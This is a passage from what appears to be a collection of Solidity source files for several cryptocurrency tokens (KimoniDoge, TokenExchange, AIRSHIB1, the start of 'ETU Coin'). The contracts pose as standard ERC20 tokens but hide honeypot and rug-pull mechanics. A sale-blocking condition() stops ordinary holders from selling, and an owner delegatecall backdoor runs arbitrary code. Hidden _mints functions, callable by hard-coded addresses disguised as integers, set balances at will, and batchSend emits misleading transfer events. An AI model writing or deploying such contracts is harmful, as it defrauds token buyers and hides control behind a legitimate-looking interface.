allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KimoniDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TokenExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address(613838558304655277063762232660397894030443898355));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract AIRSHIB1 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
ETU Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
